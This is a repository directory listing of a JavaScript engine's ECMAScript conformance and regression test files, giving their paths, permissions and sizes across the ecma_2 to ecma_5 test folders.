-rw-r--r--js/src/tests/ecma_2/RegExp/unicode-001.js59
-rw-r--r--js/src/tests/ecma_2/Statements/browser.js0
-rw-r--r--js/src/tests/ecma_2/Statements/dowhile-001.js44
-rw-r--r--js/src/tests/ecma_2/Statements/dowhile-002.js71
-rw-r--r--js/src/tests/ecma_2/Statements/dowhile-003.js63
-rw-r--r--js/src/tests/ecma_2/Statements/dowhile-004.js67
-rw-r--r--js/src/tests/ecma_2/Statements/dowhile-005.js73
-rw-r--r--js/src/tests/ecma_2/Statements/dowhile-006.js89
-rw-r--r--js/src/tests/ecma_2/Statements/dowhile-007.js97
-rw-r--r--js/src/tests/ecma_2/Statements/forin-001.js297
-rw-r--r--js/src/tests/ecma_2/Statements/forin-002.js77
-rw-r--r--js/src/tests/ecma_2/Statements/if-001.js42
-rw-r--r--js/src/tests/ecma_2/Statements/label-001.js42
-rw-r--r--js/src/tests/ecma_2/Statements/label-002.js56
-rw-r--r--js/src/tests/ecma_2/Statements/label-003.js15
-rw-r--r--js/src/tests/ecma_2/Statements/shell.js0
-rw-r--r--js/src/tests/ecma_2/Statements/switch-001.js65
-rw-r--r--js/src/tests/ecma_2/Statements/switch-002.js63
-rw-r--r--js/src/tests/ecma_2/Statements/switch-003.js57
-rw-r--r--js/src/tests/ecma_2/Statements/switch-004.js94
-rw-r--r--js/src/tests/ecma_2/Statements/try-001.js83
-rw-r--r--js/src/tests/ecma_2/Statements/try-003.js82
-rw-r--r--js/src/tests/ecma_2/Statements/try-004.js54
-rw-r--r--js/src/tests/ecma_2/Statements/try-005.js57
-rw-r--r--js/src/tests/ecma_2/Statements/try-006.js87
-rw-r--r--js/src/tests/ecma_2/Statements/try-007.js92
-rw-r--r--js/src/tests/ecma_2/Statements/try-008.js59
-rw-r--r--js/src/tests/ecma_2/Statements/try-009.js66
-rw-r--r--js/src/tests/ecma_2/Statements/try-010.js73
-rw-r--r--js/src/tests/ecma_2/Statements/try-012.js95
-rw-r--r--js/src/tests/ecma_2/Statements/while-001.js42
-rw-r--r--js/src/tests/ecma_2/Statements/while-002.js86
-rw-r--r--js/src/tests/ecma_2/Statements/while-003.js87
-rw-r--r--js/src/tests/ecma_2/Statements/while-004.js217
-rw-r--r--js/src/tests/ecma_2/String/browser.js0
-rw-r--r--js/src/tests/ecma_2/String/match-001.js106
-rw-r--r--js/src/tests/ecma_2/String/match-002.js174
-rw-r--r--js/src/tests/ecma_2/String/match-003.js132
-rw-r--r--js/src/tests/ecma_2/String/match-004.js173
-rw-r--r--js/src/tests/ecma_2/String/shell.js0
-rw-r--r--js/src/tests/ecma_2/String/split-001.js112
-rw-r--r--js/src/tests/ecma_2/String/split-002.js270
-rw-r--r--js/src/tests/ecma_2/String/split-003.js123
-rw-r--r--js/src/tests/ecma_2/browser.js0
-rw-r--r--js/src/tests/ecma_2/extensions/browser.js0
-rw-r--r--js/src/tests/ecma_2/extensions/constructor-001.js41
-rw-r--r--js/src/tests/ecma_2/extensions/function-001.js41
-rw-r--r--js/src/tests/ecma_2/extensions/instanceof-001.js111
-rw-r--r--js/src/tests/ecma_2/extensions/instanceof-002.js127
-rw-r--r--js/src/tests/ecma_2/extensions/instanceof-003-n.js88
-rw-r--r--js/src/tests/ecma_2/extensions/instanceof-004-n.js88
-rw-r--r--js/src/tests/ecma_2/extensions/instanceof-005-n.js89
-rw-r--r--js/src/tests/ecma_2/extensions/instanceof-006.js86
-rw-r--r--js/src/tests/ecma_2/extensions/shell.js0
-rw-r--r--js/src/tests/ecma_2/instanceof/browser.js0
-rw-r--r--js/src/tests/ecma_2/instanceof/instanceof-001.js34
-rw-r--r--js/src/tests/ecma_2/instanceof/instanceof-002.js51
-rw-r--r--js/src/tests/ecma_2/instanceof/instanceof-003.js65
-rw-r--r--js/src/tests/ecma_2/instanceof/regress-7635.js55
-rw-r--r--js/src/tests/ecma_2/instanceof/shell.js0
-rw-r--r--js/src/tests/ecma_2/shell.js18
-rw-r--r--js/src/tests/ecma_2/template.js26
-rw-r--r--js/src/tests/ecma_2017/AsyncFunctions/browser.js0
-rw-r--r--js/src/tests/ecma_2017/AsyncFunctions/cover-init-name-syntax.js65
-rw-r--r--js/src/tests/ecma_2017/AsyncFunctions/duplicate-__proto__.js22
-rw-r--r--js/src/tests/ecma_2017/AsyncFunctions/shell.js0
-rw-r--r--js/src/tests/ecma_2017/Expressions/browser.js0
-rw-r--r--js/src/tests/ecma_2017/Expressions/shell.js1
-rw-r--r--js/src/tests/ecma_2017/Expressions/trailing_comma_arguments.js85
-rw-r--r--js/src/tests/ecma_2017/Expressions/trailing_comma_arrow.js108
-rw-r--r--js/src/tests/ecma_2017/Expressions/trailing_comma_getter_setter.js88
-rw-r--r--js/src/tests/ecma_2017/Expressions/trailing_comma_parameters.js165
-rw-r--r--js/src/tests/ecma_2017/Statements/browser.js0
-rw-r--r--js/src/tests/ecma_2017/Statements/for-in-with-assignment-semantics.js46
-rw-r--r--js/src/tests/ecma_2017/Statements/for-in-with-assignment-syntax.js68
-rw-r--r--js/src/tests/ecma_2017/Statements/for-in-with-assignments.js82
-rw-r--r--js/src/tests/ecma_2017/Statements/shell.js1
-rw-r--r--js/src/tests/ecma_2017/Statements/trailing_comma_parameters.js92
-rw-r--r--js/src/tests/ecma_2017/browser.js0
-rw-r--r--js/src/tests/ecma_2017/shell.js1
-rw-r--r--js/src/tests/ecma_3/Array/15.4.4.11-01.js28
-rw-r--r--js/src/tests/ecma_3/Array/15.4.4.3-1.js54
-rw-r--r--js/src/tests/ecma_3/Array/15.4.4.4-001.js119
-rw-r--r--js/src/tests/ecma_3/Array/15.4.5.1-01.js60
-rw-r--r--js/src/tests/ecma_3/Array/15.5.4.8-01.js43
-rw-r--r--js/src/tests/ecma_3/Array/browser.js0
-rw-r--r--js/src/tests/ecma_3/Array/regress-101488.js138
-rw-r--r--js/src/tests/ecma_3/Array/regress-130451.js185
-rw-r--r--js/src/tests/ecma_3/Array/regress-322135-01.js39
-rw-r--r--js/src/tests/ecma_3/Array/regress-322135-02.js32
-rw-r--r--js/src/tests/ecma_3/Array/regress-322135-03.js40
-rw-r--r--js/src/tests/ecma_3/Array/regress-322135-04.js38
-rw-r--r--js/src/tests/ecma_3/Array/regress-387501.js51
-rw-r--r--js/src/tests/ecma_3/Array/regress-390598.js40
-rw-r--r--js/src/tests/ecma_3/Array/regress-421325.js34
-rw-r--r--js/src/tests/ecma_3/Array/regress-430717.js32
-rw-r--r--js/src/tests/ecma_3/Array/regress-488989.js35
-rw-r--r--js/src/tests/ecma_3/Array/regress-619970.js8
-rw-r--r--js/src/tests/ecma_3/Array/shell.js0
-rw-r--r--js/src/tests/ecma_3/Date/15.9.1.2-01.js29
-rw-r--r--js/src/tests/ecma_3/Date/15.9.4.3.js200
-rw-r--r--js/src/tests/ecma_3/Date/15.9.5.3.js118
-rw-r--r--js/src/tests/ecma_3/Date/15.9.5.4.js151
-rw-r--r--js/src/tests/ecma_3/Date/15.9.5.5-02.js66
-rw-r--r--js/src/tests/ecma_3/Date/15.9.5.5.js111
-rw-r--r--js/src/tests/ecma_3/Date/15.9.5.6.js119
-rw-r--r--js/src/tests/ecma_3/Date/15.9.5.7.js108
-rw-r--r--js/src/tests/ecma_3/Date/browser.js0
-rw-r--r--js/src/tests/ecma_3/Date/regress-452786.js33
-rw-r--r--js/src/tests/ecma_3/Date/shell.js530
-rw-r--r--js/src/tests/ecma_3/Exceptions/15.11.1.1.js103
-rw-r--r--js/src/tests/ecma_3/Exceptions/15.11.4.4-1.js140
-rw-r--r--js/src/tests/ecma_3/Exceptions/15.11.5.js36
-rw-r--r--js/src/tests/ecma_3/Exceptions/15.11.7.6-001.js96
-rw-r--r--js/src/tests/ecma_3/Exceptions/15.11.7.6-002.js98
-rw-r--r--js/src/tests/ecma_3/Exceptions/15.11.7.6-003.js98
-rw-r--r--js/src/tests/ecma_3/Exceptions/binding-001.js94
-rw-r--r--js/src/tests/ecma_3/Exceptions/browser.js0
-rw-r--r--js/src/tests/ecma_3/Exceptions/regress-181654.js121
-rw-r--r--js/src/tests/ecma_3/Exceptions/regress-181914.js160
-rw-r--r--js/src/tests/ecma_3/Exceptions/regress-58946.js36
-rw-r--r--js/src/tests/ecma_3/Exceptions/regress-95101.js84
-rw-r--r--js/src/tests/ecma_3/Exceptions/shell.js0
-rw-r--r--js/src/tests/ecma_3/ExecutionContexts/10.1.3-1.js167
-rw-r--r--js/src/tests/ecma_3/ExecutionContexts/10.1.3-2.js37
-rw-r--r--js/src/tests/ecma_3/ExecutionContexts/10.1.3.js37
-rw-r--r--js/src/tests/ecma_3/ExecutionContexts/10.1.4-1.js49
-rw-r--r--js/src/tests/ecma_3/ExecutionContexts/10.6.1-01.js103
-rw-r--r--js/src/tests/ecma_3/ExecutionContexts/browser.js0
-rw-r--r--js/src/tests/ecma_3/ExecutionContexts/regress-23346.js35
-rw-r--r--js/src/tests/ecma_3/ExecutionContexts/regress-448595-01.js58
-rw-r--r--js/src/tests/ecma_3/ExecutionContexts/shell.js0
-rw-r--r--js/src/tests/ecma_3/Expressions/11.10-01.js43
-rw-r--r--js/src/tests/ecma_3/Expressions/11.10-02.js43
-rw-r--r--js/src/tests/ecma_3/Expressions/11.10-03.js43
-rw-r--r--js/src/tests/ecma_3/Expressions/11.6.1-1.js142
-rw-r--r--js/src/tests/ecma_3/Expressions/11.7.1-01.js43
-rw-r--r--js/src/tests/ecma_3/Expressions/11.7.2-01.js43
-rw-r--r--js/src/tests/ecma_3/Expressions/11.7.3-01.js43
-rw-r--r--js/src/tests/ecma_3/Expressions/11.9.6-1.js179
-rw-r--r--js/src/tests/ecma_3/Expressions/browser.js0
-rw-r--r--js/src/tests/ecma_3/Expressions/shell.js0
-rw-r--r--js/src/tests/ecma_3/FunExpr/browser.js0
-rw-r--r--js/src/tests/ecma_3/FunExpr/fe-001-n.js22
-rw-r--r--js/src/tests/ecma_3/FunExpr/fe-001.js21
-rw-r--r--js/src/tests/ecma_3/FunExpr/fe-002.js25
-rw-r--r--js/src/tests/ecma_3/FunExpr/regress-518103.js27
-rw-r--r--js/src/tests/ecma_3/FunExpr/regress-524826.js28
-rw-r--r--js/src/tests/ecma_3/FunExpr/regress-528082.js20
-rw-r--r--js/src/tests/ecma_3/FunExpr/regress-533254.js28
-rw-r--r--js/src/tests/ecma_3/FunExpr/regress-545980.js41
-rw-r--r--js/src/tests/ecma_3/FunExpr/shell.js0
-rw-r--r--js/src/tests/ecma_3/Function/15.3.4.3-1.js176
-rw-r--r--js/src/tests/ecma_3/Function/15.3.4.4-1.js162
-rw-r--r--js/src/tests/ecma_3/Function/arguments-001.js135
-rw-r--r--js/src/tests/ecma_3/Function/arguments-002.js40
-rw-r--r--js/src/tests/ecma_3/Function/browser.js0
-rw-r--r--js/src/tests/ecma_3/Function/call-001.js119
-rw-r--r--js/src/tests/ecma_3/Function/regress-131964.js162
-rw-r--r--js/src/tests/ecma_3/Function/regress-137181.js79
-rw-r--r--js/src/tests/ecma_3/Function/regress-193555.js102
-rw-r--r--js/src/tests/ecma_3/Function/regress-313570.js30
-rw-r--r--js/src/tests/ecma_3/Function/regress-49286.js103
-rw-r--r--js/src/tests/ecma_3/Function/regress-58274.js192
-rw-r--r--js/src/tests/ecma_3/Function/regress-85880.js139
-rw-r--r--js/src/tests/ecma_3/Function/regress-94506.js129
-rw-r--r--js/src/tests/ecma_3/Function/regress-97921.js118
-rw-r--r--js/src/tests/ecma_3/Function/scope-001.js231
-rw-r--r--js/src/tests/ecma_3/Function/scope-002.js211
-rw-r--r--js/src/tests/ecma_3/Function/shell.js0
-rw-r--r--js/src/tests/ecma_3/LexicalConventions/7.4-01.js40
-rw-r--r--js/src/tests/ecma_3/LexicalConventions/7.8.3-01.js23
-rw-r--r--js/src/tests/ecma_3/LexicalConventions/7.9.1.js124
-rw-r--r--js/src/tests/ecma_3/LexicalConventions/browser.js0
-rw-r--r--js/src/tests/ecma_3/LexicalConventions/shell.js0
-rw-r--r--js/src/tests/ecma_3/Number/15.7.4.2-01.js44
-rw-r--r--js/src/tests/ecma_3/Number/15.7.4.3-01.js36
-rw-r--r--js/src/tests/ecma_3/Number/15.7.4.5-1.js111
-rw-r--r--js/src/tests/ecma_3/Number/15.7.4.5-2.js29
-rw-r--r--js/src/tests/ecma_3/Number/15.7.4.6-1.js115
-rw-r--r--js/src/tests/ecma_3/Number/15.7.4.7-1.js120
-rw-r--r--js/src/tests/ecma_3/Number/15.7.4.7-2.js39
-rw-r--r--js/src/tests/ecma_3/Number/browser.js0
-rw-r--r--js/src/tests/ecma_3/Number/regress-442242-01.js29
-rw-r--r--js/src/tests/ecma_3/Number/shell.js0
-rw-r--r--js/src/tests/ecma_3/NumberFormatting/browser.js0
-rw-r--r--js/src/tests/ecma_3/NumberFormatting/shell.js0
-rw-r--r--js/src/tests/ecma_3/NumberFormatting/tostring-001.js24
-rw-r--r--js/src/tests/ecma_3/Object/8.6.1-01.js80
-rw-r--r--js/src/tests/ecma_3/Object/8.6.2.6-001.js79
-rw-r--r--js/src/tests/ecma_3/Object/8.6.2.6-002.js46
-rw-r--r--js/src/tests/ecma_3/Object/browser.js7
-rw-r--r--js/src/tests/ecma_3/Object/class-001.js122
-rw-r--r--js/src/tests/ecma_3/Object/class-002.js112
-rw-r--r--js/src/tests/ecma_3/Object/class-003.js105
-rw-r--r--js/src/tests/ecma_3/Object/class-004.js105
-rw-r--r--js/src/tests/ecma_3/Object/class-005.js90
-rw-r--r--js/src/tests/ecma_3/Object/regress-361274.js33
-rw-r--r--js/src/tests/ecma_3/Object/regress-385393-07.js34
-rw-r--r--js/src/tests/ecma_3/Object/regress-459405.js40
-rw-r--r--js/src/tests/ecma_3/Object/regress-72773.js63
-rw-r--r--js/src/tests/ecma_3/Object/regress-79129-001.js46
-rw-r--r--js/src/tests/ecma_3/Object/shell.js71
-rw-r--r--js/src/tests/ecma_3/Operators/11.13.1-001.js118
-rw-r--r--js/src/tests/ecma_3/Operators/11.13.1-002.js24
-rw-r--r--js/src/tests/ecma_3/Operators/11.4.1-001.js86
-rw-r--r--js/src/tests/ecma_3/Operators/11.4.1-002.js39
-rw-r--r--js/src/tests/ecma_3/Operators/browser.js0
-rw-r--r--js/src/tests/ecma_3/Operators/order-01.js75
-rw-r--r--js/src/tests/ecma_3/Operators/shell.js0
-rw-r--r--js/src/tests/ecma_3/README1
-rw-r--r--js/src/tests/ecma_3/RegExp/15.10.2-1.js147
-rw-r--r--js/src/tests/ecma_3/RegExp/15.10.2.12.js29
-rw-r--r--js/src/tests/ecma_3/RegExp/15.10.3.1-1.js102
-rw-r--r--js/src/tests/ecma_3/RegExp/15.10.3.1-2.js110
-rw-r--r--js/src/tests/ecma_3/RegExp/15.10.4.1-1.js93
-rw-r--r--js/src/tests/ecma_3/RegExp/15.10.4.1-2.js99
-rw-r--r--js/src/tests/ecma_3/RegExp/15.10.4.1-3.js105
-rw-r--r--js/src/tests/ecma_3/RegExp/15.10.4.1-4.js112
-rw-r--r--js/src/tests/ecma_3/RegExp/15.10.4.1-6.js62
-rw-r--r--js/src/tests/ecma_3/RegExp/15.10.6.2-1.js106
-rw-r--r--js/src/tests/ecma_3/RegExp/15.10.6.2-2.js294
-rw-r--r--js/src/tests/ecma_3/RegExp/browser.js0
-rw-r--r--js/src/tests/ecma_3/RegExp/octal-001.js102
-rw-r--r--js/src/tests/ecma_3/RegExp/octal-002.js184
-rw-r--r--js/src/tests/ecma_3/RegExp/perlstress-001.js3196
-rw-r--r--js/src/tests/ecma_3/RegExp/perlstress-002.js1808
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-100199.js273
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-105972.js123
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-119909.js58
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-122076.js76
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-123437.js78
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-165353.js88
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-169497.js71
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-169534.js61
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-187133.js108
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-188206.js185
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-191479.js164
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-202564.js67
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-209067.js1072
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-209919.js140
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-216591.js83
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-220367-001.js70
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-223273.js245
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-223535.js99
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-224676.js192
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-225289.js142
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-225343.js91
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-24712.js23
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-285219.js18
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-28686.js21
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-307456.js22
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-309840.js24
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-312351.js17
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-31316.js62
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-330684.js21
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-334158.js25
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-346090.js29
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-367888.js29
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-375642.js28
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-375651.js29
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-375711.js85
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-375715-01-n.js30
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-375715-02.js27
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-375715-03.js27
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-375715-04.js35
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-436700.js34
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-465862.js82
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-57572.js116
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-57631.js118
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-67773.js177
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-72964.js87
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-76683.js80
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-78156.js89
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-85721.js243
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-87231.js111
-rw-r--r--js/src/tests/ecma_3/RegExp/regress-98306.js65
-rw-r--r--js/src/tests/ecma_3/RegExp/shell.js232
-rw-r--r--js/src/tests/ecma_3/Regress/browser.js0
-rw-r--r--js/src/tests/ecma_3/Regress/regress-385393-04.js33
-rw-r--r--js/src/tests/ecma_3/Regress/regress-419152.js57
-rw-r--r--js/src/tests/ecma_3/Regress/regress-420087.js31
-rw-r--r--js/src/tests/ecma_3/Regress/regress-420610.js17
-rw-r--r--js/src/tests/ecma_3/Regress/regress-441477-01.js42
-rw-r--r--js/src/tests/ecma_3/Regress/regress-469937.js27
-rw-r--r--js/src/tests/ecma_3/Regress/regress-580544.js30
-rw-r--r--js/src/tests/ecma_3/Regress/shell.js0
-rw-r--r--js/src/tests/ecma_3/Statements/12.10-01.js35
-rw-r--r--js/src/tests/ecma_3/Statements/12.6.3.js47
-rw-r--r--js/src/tests/ecma_3/Statements/browser.js0
-rw-r--r--js/src/tests/ecma_3/Statements/regress-121744.js184
-rw-r--r--js/src/tests/ecma_3/Statements/regress-131348.js150
-rw-r--r--js/src/tests/ecma_3/Statements/regress-157509.js77
-rw-r--r--js/src/tests/ecma_3/Statements/regress-194364.js118
-rw-r--r--js/src/tests/ecma_3/Statements/regress-226517.js78
-rw-r--r--js/src/tests/ecma_3/Statements/regress-302439.js1335
-rw-r--r--js/src/tests/ecma_3/Statements/regress-324650.js5427
-rw-r--r--js/src/tests/ecma_3/Statements/regress-444979.js43
-rw-r--r--js/src/tests/ecma_3/Statements/regress-642975.js30
-rw-r--r--js/src/tests/ecma_3/Statements/regress-74474-001.js105
-rw-r--r--js/src/tests/ecma_3/Statements/regress-74474-002.js9063
-rw-r--r--js/src/tests/ecma_3/Statements/regress-74474-003.js9065
-rw-r--r--js/src/tests/ecma_3/Statements/regress-83532-001.js37
-rw-r--r--js/src/tests/ecma_3/Statements/regress-83532-002.js40
-rw-r--r--js/src/tests/ecma_3/Statements/shell.js0
-rw-r--r--js/src/tests/ecma_3/Statements/switch-001.js109
-rw-r--r--js/src/tests/ecma_3/Statements/switch-002.js19
-rw-r--r--js/src/tests/ecma_3/String/15.5.4.11.js498
-rw-r--r--js/src/tests/ecma_3/String/15.5.4.14.js17
-rw-r--r--js/src/tests/ecma_3/String/browser.js0
-rw-r--r--js/src/tests/ecma_3/String/regress-104375.js82
-rw-r--r--js/src/tests/ecma_3/String/regress-189898.js123
-rw-r--r--js/src/tests/ecma_3/String/regress-304376.js34
-rw-r--r--js/src/tests/ecma_3/String/regress-313567.js23
-rw-r--r--js/src/tests/ecma_3/String/regress-369778.js29
-rw-r--r--js/src/tests/ecma_3/String/regress-392378.js44
-rw-r--r--js/src/tests/ecma_3/String/regress-83293.js182
-rw-r--r--js/src/tests/ecma_3/String/shell.js0
-rw-r--r--js/src/tests/ecma_3/Unicode/browser.js0
-rw-r--r--js/src/tests/ecma_3/Unicode/regress-352044-01.js39
-rw-r--r--js/src/tests/ecma_3/Unicode/regress-352044-02-n.js39
-rw-r--r--js/src/tests/ecma_3/Unicode/shell.js0
-rw-r--r--js/src/tests/ecma_3/Unicode/uc-001-n.js26
-rw-r--r--js/src/tests/ecma_3/Unicode/uc-001.js21
-rw-r--r--js/src/tests/ecma_3/Unicode/uc-002-n.js19
-rw-r--r--js/src/tests/ecma_3/Unicode/uc-002.js24
-rw-r--r--js/src/tests/ecma_3/Unicode/uc-003.js30
-rw-r--r--js/src/tests/ecma_3/Unicode/uc-004.js29
-rw-r--r--js/src/tests/ecma_3/Unicode/uc-005.js242
-rw-r--r--js/src/tests/ecma_3/browser.js0
-rw-r--r--js/src/tests/ecma_3/extensions/10.1.3-2.js128
-rw-r--r--js/src/tests/ecma_3/extensions/7.9.1.js47
-rw-r--r--js/src/tests/ecma_3/extensions/browser.js0
-rw-r--r--js/src/tests/ecma_3/extensions/regress-103087.js144
-rw-r--r--js/src/tests/ecma_3/extensions/regress-188206-01.js74
-rw-r--r--js/src/tests/ecma_3/extensions/regress-188206-02.js124
-rw-r--r--js/src/tests/ecma_3/extensions/regress-220367-002.js78
-rw-r--r--js/src/tests/ecma_3/extensions/regress-228087.js318
-rw-r--r--js/src/tests/ecma_3/extensions/regress-274152.js48
-rw-r--r--js/src/tests/ecma_3/extensions/regress-320854.js20
-rw-r--r--js/src/tests/ecma_3/extensions/regress-327170.js25
-rw-r--r--js/src/tests/ecma_3/extensions/regress-368516.js45
-rw-r--r--js/src/tests/ecma_3/extensions/regress-385393-03.js30
-rw-r--r--js/src/tests/ecma_3/extensions/regress-430740.js39
-rw-r--r--js/src/tests/ecma_3/extensions/shell.js232
-rw-r--r--js/src/tests/ecma_3/shell.js0
-rw-r--r--js/src/tests/ecma_3/template.js28
-rw-r--r--js/src/tests/ecma_3_1/Object/browser.js0
-rw-r--r--js/src/tests/ecma_3_1/Object/regress-444787.js105
-rw-r--r--js/src/tests/ecma_3_1/Object/shell.js0
-rw-r--r--js/src/tests/ecma_3_1/README1
-rw-r--r--js/src/tests/ecma_3_1/RegExp/browser.js0
-rw-r--r--js/src/tests/ecma_3_1/RegExp/regress-305064.js60
-rw-r--r--js/src/tests/ecma_3_1/RegExp/shell.js0
-rw-r--r--js/src/tests/ecma_3_1/browser.js0
-rw-r--r--js/src/tests/ecma_3_1/extensions/browser.js0
-rw-r--r--js/src/tests/ecma_3_1/extensions/shell.js0
-rw-r--r--js/src/tests/ecma_3_1/shell.js0
-rw-r--r--js/src/tests/ecma_3_1/template.js28
-rw-r--r--js/src/tests/ecma_5/Array/browser.js0
-rw-r--r--js/src/tests/ecma_5/Array/frozen-dense-array.js61
-rw-r--r--js/src/tests/ecma_5/Array/frozen-dict-mode-length.js18
-rw-r--r--js/src/tests/ecma_5/Array/index-with-null-character.js18
-rw-r--r--js/src/tests/ecma_5/Array/join-01.js83
-rw-r--r--js/src/tests/ecma_5/Array/length-01.js71
-rw-r--r--js/src/tests/ecma_5/Array/length-nonwritable-redefine-nop.js70
-rw-r--r--js/src/tests/ecma_5/Array/length-set-object.js68
-rw-r--r--js/src/tests/ecma_5/Array/length-truncate-nonconfigurable-sparse.js110
-rw-r--r--js/src/tests/ecma_5/Array/length-truncate-nonconfigurable.js48
-rw-r--r--js/src/tests/ecma_5/Array/length-truncate-with-indexed.js101
-rw-r--r--js/src/tests/ecma_5/Array/pop-empty-nonwritable.js32
-rw-r--r--js/src/tests/ecma_5/Array/pop-nonarray-higher-elements.js91
-rw-r--r--js/src/tests/ecma_5/Array/redefine-length-frozen-array.js26
-rw-r--r--js/src/tests/ecma_5/Array/redefine-length-frozen-dictionarymode-array.js36
-rw-r--r--js/src/tests/ecma_5/Array/redefine-nonwritable-length-custom-conversion-call-counts.js45
-rw-r--r--js/src/tests/ecma_5/Array/redefine-nonwritable-length-custom-conversion-throw.js58
-rw-r--r--js/src/tests/ecma_5/Array/redefine-nonwritable-length-nonnumeric.js32
-rw-r--r--js/src/tests/ecma_5/Array/regress-599159.js10
-rw-r--r--js/src/tests/ecma_5/Array/reverse-order-of-low-high-accesses.js88
-rw-r--r--js/src/tests/ecma_5/Array/shell.js0
-rw-r--r--js/src/tests/ecma_5/Array/sort-01.js23
-rw-r--r--js/src/tests/ecma_5/Array/sort-array-with-holes-and-undefined.js32
-rw-r--r--js/src/tests/ecma_5/Array/splice-return-array-elements-defined-not-set.js46
-rw-r--r--js/src/tests/ecma_5/Array/splice-suppresses-unvisited-indexes.js61
-rw-r--r--js/src/tests/ecma_5/Array/toLocaleString-01.js36
-rw-r--r--js/src/tests/ecma_5/Array/toString-01.js52
-rw-r--r--js/src/tests/ecma_5/Array/unshift-01.js45
-rw-r--r--js/src/tests/ecma_5/Boolean/15.6.4.2.js17
-rw-r--r--js/src/tests/ecma_5/Boolean/browser.js0
-rw-r--r--js/src/tests/ecma_5/Boolean/no-boolean-toJSON.js17
-rw-r--r--js/src/tests/ecma_5/Boolean/shell.js0
-rw-r--r--js/src/tests/ecma_5/Date/15.9.4.2.js136
-rw-r--r--js/src/tests/ecma_5/Date/UTC-convert-all-arguments.js70
-rw-r--r--js/src/tests/ecma_5/Date/browser.js0
-rw-r--r--js/src/tests/ecma_5/Date/constructor-convert-all-arguments.js70
-rw-r--r--js/src/tests/ecma_5/Date/constructor-one-argument.js26
-rw-r--r--js/src/tests/ecma_5/Date/defaultvalue.js190
-rw-r--r--js/src/tests/ecma_5/Date/equality-to-boolean.js39
-rw-r--r--js/src/tests/ecma_5/Date/fractions.js24
-rw-r--r--js/src/tests/ecma_5/Date/setTime-argument-shortcircuiting.js147
-rw-r--r--js/src/tests/ecma_5/Date/shell.js0
-rw-r--r--js/src/tests/ecma_5/Date/timeclip.js42
-rw-r--r--js/src/tests/ecma_5/Date/toISOString.js24
-rw-r--r--js/src/tests/ecma_5/Date/toJSON-01.js238
-rw-r--r--js/src/tests/ecma_5/Exceptions/browser.js0
-rw-r--r--js/src/tests/ecma_5/Exceptions/error-expando-reconfigure.js28
-rw-r--r--js/src/tests/ecma_5/Exceptions/error-property-enumerability.js30
-rw-r--r--js/src/tests/ecma_5/Exceptions/shell.js0
-rw-r--r--js/src/tests/ecma_5/Expressions/11.1.5-01.js37
-rw-r--r--js/src/tests/ecma_5/Expressions/browser.js0
-rw-r--r--js/src/tests/ecma_5/Expressions/named-accessor-function.js49
-rw-r--r--js/src/tests/ecma_5/Expressions/nested-delete-name-in-evalcode.js163
-rw-r--r--js/src/tests/ecma_5/Expressions/object-literal-accessor-arguments.js42
-rw-r--r--js/src/tests/ecma_5/Expressions/object-literal-accessor-property-name.js29
-rw-r--r--js/src/tests/ecma_5/Expressions/primitive-this-boxing-behavior.js106
-rw-r--r--js/src/tests/ecma_5/Expressions/shell.js0
-rw-r--r--js/src/tests/ecma_5/Expressions/string-literal-escape-sequences.js146
-rw-r--r--js/src/tests/ecma_5/Function/10.2.1.1.6.js35
-rw-r--r--js/src/tests/ecma_5/Function/15.3.4.3-01.js245
-rw-r--r--js/src/tests/ecma_5/Function/Function-arguments-gc.js40
-rw-r--r--js/src/tests/ecma_5/Function/Function-with-eval.js25
-rw-r--r--js/src/tests/ecma_5/Function/arguments-caller-callee.js66
-rw-r--r--js/src/tests/ecma_5/Function/arguments-property-attributes.js102
-rw-r--r--js/src/tests/ecma_5/Function/browser.js0
-rw-r--r--js/src/tests/ecma_5/Function/builtin-no-construct.js52
-rw-r--r--js/src/tests/ecma_5/Function/builtin-no-prototype.js40
-rw-r--r--js/src/tests/ecma_5/Function/function-bind.js288
-rw-r--r--js/src/tests/ecma_5/Function/function-call.js134
-rw-r--r--js/src/tests/ecma_5/Function/function-caller.js45
-rw-r--r--js/src/tests/ecma_5/Function/redefine-arguments-length.js65
